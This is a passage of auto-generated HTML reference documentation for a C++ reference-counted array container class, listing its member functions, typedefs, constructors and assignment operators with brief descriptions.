class="memitem:a32aac83fe214508e442f1de390ff8e54"><td class="memItemLeft" align="right" valign="top">ObjectClass **&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a32aac83fe214508e442f1de390ff8e54">begin</a> () const noexcept</td></tr> <tr class="memdesc:a32aac83fe214508e442f1de390ff8e54"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the first element in the array. <a href="#a32aac83fe214508e442f1de390ff8e54"></a><br/></td></tr> <tr class="separator:a32aac83fe214508e442f1de390ff8e54"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a73c8d0ba66862dfe70e584c2efd41ccf"><td class="memItemLeft" align="right" valign="top">ObjectClass **&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a73c8d0ba66862dfe70e584c2efd41ccf">end</a> () const noexcept</td></tr> <tr class="memdesc:a73c8d0ba66862dfe70e584c2efd41ccf"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the element which follows the last element in the array. <a href="#a73c8d0ba66862dfe70e584c2efd41ccf"></a><br/></td></tr> <tr class="separator:a73c8d0ba66862dfe70e584c2efd41ccf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a034cad62a8ebb5854db4db2ff4afbf71"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a034cad62a8ebb5854db4db2ff4afbf71">indexOf</a> (const ObjectClass *const objectToLookFor) const noexcept</td></tr> <tr class="memdesc:a034cad62a8ebb5854db4db2ff4afbf71"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the index of the first occurrence of an object in the array. <a href="#a034cad62a8ebb5854db4db2ff4afbf71"></a><br/></td></tr> <tr class="separator:a034cad62a8ebb5854db4db2ff4afbf71"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5660a4dab2e9765784f1c5af73d7c303"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a5660a4dab2e9765784f1c5af73d7c303">contains</a> (const ObjectClass *const objectToLookFor) const noexcept</td></tr> <tr class="memdesc:a5660a4dab2e9765784f1c5af73d7c303"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the array contains a specified object. <a href="#a5660a4dab2e9765784f1c5af73d7c303"></a><br/></td></tr> <tr class="separator:a5660a4dab2e9765784f1c5af73d7c303"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a69c7478303bfab74a3fa16ff93a334a8"><td class="memItemLeft" align="right" valign="top">ObjectClass *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8">add</a> (ObjectClass *const newObject) noexcept</td></tr> <tr class="memdesc:a69c7478303bfab74a3fa16ff93a334a8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Appends a new object to the end of the array. <a href="#a69c7478303bfab74a3fa16ff93a334a8"></a><br/></td></tr> <tr class="separator:a69c7478303bfab74a3fa16ff93a334a8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af565f8dbd67b0e2adb9e85af2256e720"><td class="memItemLeft" align="right" valign="top">ObjectClass *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#af565f8dbd67b0e2adb9e85af2256e720">insert</a> (int indexToInsertAt, ObjectClass *const newObject) noexcept</td></tr> <tr class="memdesc:af565f8dbd67b0e2adb9e85af2256e720"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts a new object into the array at the given index. <a href="#af565f8dbd67b0e2adb9e85af2256e720"></a><br/></td></tr> <tr class="separator:af565f8dbd67b0e2adb9e85af2256e720"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6bfe477012adf753bca5b32053d2ffbf"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf">addIfNotAlreadyThere</a> (ObjectClass *const newObject) noexcept</td></tr> <tr class="memdesc:a6bfe477012adf753bca5b32053d2ffbf"><td class="mdescLeft">&#160;</td><td class="mdescRight">Appends a new object at the end of the array as long as the array doesn't already contain it. <a href="#a6bfe477012adf753bca5b32053d2ffbf"></a><br/></td></tr> <tr class="separator:a6bfe477012adf753bca5b32053d2ffbf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab091a80b766a24ba4915a10c1d71cd81"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ab091a80b766a24ba4915a10c1d71cd81">set</a> (const int indexToChange, ObjectClass *const newObject)</td></tr> <tr class="memdesc:ab091a80b766a24ba4915a10c1d71cd81"><td class="mdescLeft">&#160;</td><td class="mdescRight">Replaces an object in the array with a different one. <a href="#ab091a80b766a24ba4915a10c1d71cd81"></a><br/></td></tr> <tr class="separator:ab091a80b766a24ba4915a10c1d71cd81"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6e3aa5375dce143b69a467ad405c2867"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867">addArray</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;arrayToAddFrom, int startIndex=0, int numElementsToAdd=-1) noexcept</td></tr> <tr class="memdesc:a6e3aa5375dce143b69a467ad405c2867"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds elements from another array to the end of this array. <a href="#a6e3aa5375dce143b69a467ad405c2867"></a><br/></td></tr> <tr class="separator:a6e3aa5375dce143b69a467ad405c2867"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afb1a9958a818b6c410d79fc65b23432e"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:afb1a9958a818b6c410d79fc65b23432e"><td class="memTemplItemLeft" align="right" valign="top">int&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e">addSorted</a> (ElementComparator &amp;comparator, ObjectClass *newObject) noexcept</td></tr> <tr class="memdesc:afb1a9958a818b6c410d79fc65b23432e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts a new object into the array assuming that the array is sorted. <a href="#afb1a9958a818b6c410d79fc65b23432e"></a><br/></td></tr> <tr class="separator:afb1a9958a818b6c410d79fc65b23432e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae4d087d8723db7a39fb876d419d9f960"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:ae4d087d8723db7a39fb876d419d9f960"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ae4d087d8723db7a39fb876d419d9f960">addOrReplaceSorted</a> (ElementComparator &amp;comparator, ObjectClass *newObject) noexcept</td></tr> <tr class="memdesc:ae4d087d8723db7a39fb876d419d9f960"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts or replaces an object in the array, assuming it is sorted. <a href="#ae4d087d8723db7a39fb876d419d9f960"></a><br/></td></tr> <tr class="separator:ae4d087d8723db7a39fb876d419d9f960"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aba887431a64561282cdbabafe27e70e8"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:aba887431a64561282cdbabafe27e70e8"><td class="memTemplItemLeft" align="right" valign="top">int&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#aba887431a64561282cdbabafe27e70e8">indexOfSorted</a> (ElementComparator &amp;comparator, const ObjectClass *const objectToLookFor) const noexcept</td></tr> <tr class="memdesc:aba887431a64561282cdbabafe27e70e8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the index of an object in the array, assuming that the array is sorted. <a href="#aba887431a64561282cdbabafe27e70e8"></a><br/></td></tr> <tr class="separator:aba887431a64561282cdbabafe27e70e8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aea193b7f41ffc381f1c12440f997ccdd"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd">remove</a> (const int indexToRemove)</td></tr> <tr class="memdesc:aea193b7f41ffc381f1c12440f997ccdd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an object from the array. <a href="#aea193b7f41ffc381f1c12440f997ccdd"></a><br/></td></tr> <tr class="separator:aea193b7f41ffc381f1c12440f997ccdd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8fc0a717f91f4ff3b144f0224afdc5dd"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a8fc0a717f91f4ff3b144f0224afdc5dd">removeAndReturn</a> (const int indexToRemove)</td></tr> <tr class="memdesc:a8fc0a717f91f4ff3b144f0224afdc5dd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes and returns an object from the array. <a href="#a8fc0a717f91f4ff3b144f0224afdc5dd"></a><br/></td></tr> <tr class="separator:a8fc0a717f91f4ff3b144f0224afdc5dd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3413cc68e78418918d69bf7ae132c894"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894">removeObject</a> (ObjectClass *const objectToRemove)</td></tr> <tr class="memdesc:a3413cc68e78418918d69bf7ae132c894"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes the first occurrence of a specified object from the array. <a href="#a3413cc68e78418918d69bf7ae132c894"></a><br/></td></tr> <tr class="separator:a3413cc68e78418918d69bf7ae132c894"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9430ab8bb81848ef46507d2ed2eb40c2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2">removeRange</a> (const int startIndex, const int numberToRemove)</td></tr> <tr class="memdesc:a9430ab8bb81848ef46507d2ed2eb40c2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a range of objects from the array. <a href="#a9430ab8bb81848ef46507d2ed2eb40c2"></a><br/></td></tr> <tr class="separator:a9430ab8bb81848ef46507d2ed2eb40c2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2f2ff002f4ca7a7062b449ade2b61307"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a2f2ff002f4ca7a7062b449ade2b61307">removeLast</a> (int howManyToRemove=1)</td></tr> <tr class="memdesc:a2f2ff002f4ca7a7062b449ade2b61307"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes the last n objects from the array. <a href="#a2f2ff002f4ca7a7062b449ade2b61307"></a><br/></td></tr> <tr class="separator:a2f2ff002f4ca7a7062b449ade2b61307"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a53122fe07050eef2918538d0b4d90804"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a53122fe07050eef2918538d0b4d90804">swap</a> (const int index1, const int index2) noexcept</td></tr> <tr class="memdesc:a53122fe07050eef2918538d0b4d90804"><td class="mdescLeft">&#160;</td><td class="mdescRight">Swaps a pair of objects in the array. <a href="#a53122fe07050eef2918538d0b4d90804"></a><br/></td></tr> <tr class="separator:a53122fe07050eef2918538d0b4d90804"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acd40cae01b2a34720491bf4cd462ad80"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#acd40cae01b2a34720491bf4cd462ad80">move</a> (const int currentIndex, int newIndex) noexcept</td></tr> <tr class="memdesc:acd40cae01b2a34720491bf4cd462ad80"><td class="mdescLeft">&#160;</td><td class="mdescRight">Moves one of the objects to a different position. <a href="#acd40cae01b2a34720491bf4cd462ad80"></a><br/></td></tr> <tr class="separator:acd40cae01b2a34720491bf4cd462ad80"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a68a378da68f47a73e0cf3a9e3673f64a"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:a68a378da68f47a73e0cf3a9e3673f64a"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a68a378da68f47a73e0cf3a9e3673f64a">swapWith</a> (OtherArrayType &amp;otherArray) noexcept</td></tr> <tr class="memdesc:a68a378da68f47a73e0cf3a9e3673f64a"><td class="mdescLeft">&#160;</td><td class="mdescRight">This swaps the contents of this array with those of another array. <a href="#a68a378da68f47a73e0cf3a9e3673f64a"></a><br/></td></tr> <tr class="separator:a68a378da68f47a73e0cf3a9e3673f64a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a16715eb28fe22682d87c33b02a6ed882"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a16715eb28fe22682d87c33b02a6ed882">operator==</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> &amp;other) const noexcept</td></tr> <tr class="memdesc:a16715eb28fe22682d87c33b02a6ed882"><td class="mdescLeft">&#160;</td><td class="mdescRight">Compares this array to another one. <a href="#a16715eb28fe22682d87c33b02a6ed882"></a><br/></td></tr> <tr class="separator:a16715eb28fe22682d87c33b02a6ed882"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a42ad63db85d37f3c649f21bf3b03a950"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a42ad63db85d37f3c649f21bf3b03a950">operator!=</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;other) const noexcept</td></tr> <tr class="memdesc:a42ad63db85d37f3c649f21bf3b03a950"><td class="mdescLeft">&#160;</td><td class="mdescRight">Compares this array to another one. <a href="#a42ad63db85d37f3c649f21bf3b03a950"></a><br/></td></tr> <tr class="separator:a42ad63db85d37f3c649f21bf3b03a950"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a51248166d0e546e8f6ba9f831a835a7a"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:a51248166d0e546e8f6ba9f831a835a7a"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a">sort</a> (ElementComparator &amp;comparator, const bool retainOrderOfEquivalentItems=false) const noexcept</td></tr> <tr class="memdesc:a51248166d0e546e8f6ba9f831a835a7a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sorts the elements in the array. <a href="#a51248166d0e546e8f6ba9f831a835a7a"></a><br/></td></tr> <tr class="separator:a51248166d0e546e8f6ba9f831a835a7a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad09860891de2b9faaa19e42b8007bca7"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ad09860891de2b9faaa19e42b8007bca7">minimiseStorageOverheads</a> () noexcept</td></tr> <tr class="memdesc:ad09860891de2b9faaa19e42b8007bca7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reduces the amount of storage being used by the array. <a href="#ad09860891de2b9faaa19e42b8007bca7"></a><br/></td></tr> <tr class="separator:ad09860891de2b9faaa19e42b8007bca7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abf520344fa2d864f0f54809429a3bb3f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#abf520344fa2d864f0f54809429a3bb3f">ensureStorageAllocated</a> (const int minNumElements)</td></tr> <tr class="memdesc:abf520344fa2d864f0f54809429a3bb3f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Increases the array's internal storage to hold a minimum number of elements. <a href="#abf520344fa2d864f0f54809429a3bb3f"></a><br/></td></tr> <tr class="separator:abf520344fa2d864f0f54809429a3bb3f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa1ee427821c41587e15391bf7edc2b60"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#aa1ee427821c41587e15391bf7edc2b60">getLock</a> () const noexcept</td></tr> <tr class="memdesc:aa1ee427821c41587e15391bf7edc2b60"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this array. <a href="#aa1ee427821c41587e15391bf7edc2b60"></a><br/></td></tr> <tr class="separator:aa1ee427821c41587e15391bf7edc2b60"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><h3>template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt;<br/> class ReferenceCountedArray&lt; ObjectClass, TypeOfCriticalSectionToUse &gt;</h3> <p>Holds a list of objects derived from <a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a>, or which implement basic reference-count handling methods. </p> <p>The template parameter specifies the class of the object you want to point to - the easiest way to make a class reference-countable is to simply make it inherit from <a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a> or <a class="el" href="classSingleThreadedReferenceCountedObject.html" title="Adds reference-counting to an object.">SingleThreadedReferenceCountedObject</a>, but if you need to, you can roll your own reference-countable class by implementing a set of methods called incReferenceCount(), decReferenceCount(), and decReferenceCountWithoutDeleting(). See <a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a> for examples of how these methods should behave.</p> <p>A <a class="el" href="classReferenceCountedArray.html" title="Holds a list of objects derived from ReferenceCountedObject, or which implement basic reference-count...">ReferenceCountedArray</a> holds objects derived from <a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a>, and takes care of incrementing and decrementing their ref counts when they are added and removed from the array.</p> <p>To make all the array's methods thread-safe, pass in "CriticalSection" as the templated TypeOfCriticalSectionToUse parameter, instead of the default <a class="el" href="classDummyCriticalSection.html" title="A class that can be used in place of a real CriticalSection object, but which doesn&#39;t perform any loc...">DummyCriticalSection</a>.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html" title="Holds a resizable array of primitive or copy-by-value objects.">Array</a>, <a class="el" href="classOwnedArray.html" title="An array designed for holding objects.">OwnedArray</a>, <a class="el" href="classStringArray.html" title="A special array for holding a list of strings.">StringArray</a> </dd></dl> </div><h2 class="groupheader">Member Typedef Documentation</h2> <a class="anchor" id="a5aeb8e0e9bc7f0cb0f19237edf286f64"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">typedef <a class="el" href="classReferenceCountedObjectPtr.html">ReferenceCountedObjectPtr</a>&lt;ObjectClass&gt; <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a></td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="a7298683e2cae9520f1b34a4d6679053d"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">typedef TypeOfCriticalSectionToUse::ScopedLockType <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classReferenceCountedArray.html#a7298683e2cae9520f1b34a4d6679053d">ScopedLockType</a></td> </tr> </table> </div><div class="memdoc"> <p>Returns the type of scoped lock to use for locking this array. </p> </div> </div> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a3026e9cca0a8b1d63751f3fbb930bf17"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty array. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a>, <a class="el" href="classArray.html" title="Holds a resizable array of primitive or copy-by-value objects.">Array</a>, <a class="el" href="classOwnedArray.html" title="An array designed for holding objects.">OwnedArray</a> </dd></dl> </div> </div> <a class="anchor" id="ace310eb210683601fd6aac301795111c"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates a copy of another array. </p> </div> </div> <a class="anchor" id="a8966c5b4b7871123035f41fd4b7b530d"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class OtherObjectClass , class OtherCriticalSection &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::<a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; OtherObjectClass, OtherCriticalSection &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates a copy of another array. </p> </div> </div> <a class="anchor" id="a22c778cc2086117da5ac870485cb34e0"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::~<a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> <p>Any objects in the array will be released, and may be deleted if not referenced from elsewhere. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ab9fd36e38317591da957d13be587aeba"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&amp; <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Copies another array into this one. </p> <p>Any existing objects in this array will first be released. </p> </div> </div> <a class="anchor" id="af2ed6c93d85a8254447cd4289fef7caf"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class OtherObjectClass &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt;ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>&gt;&amp; <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; OtherObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Copies another array into this one. </p> <p>Any existing objects in this array will first be released. </p> </div> </div> <a class="anchor" id="a6dc6a1c3540a6f30456db545edb0486d"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::clear </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all objects from the array. </p> <p>Any objects in the array that whose reference counts drop to zero will be deleted. </p> </div> </div> <a class="anchor" id="ad5a34e648c3dfc01493ca92838835bd1"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::clearQuick </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all objects from the array without freeing the array's allocated storage. </p> <p>Any objects in the array that whose reference counts drop to zero will be deleted. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a6dc6a1c3540a6f30456db545edb0486d" title="Removes all objects from the array.">clear</a> </dd></dl> </div> </div> <a class="anchor" id="ad4865c477b65f161105ded613856de64"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = 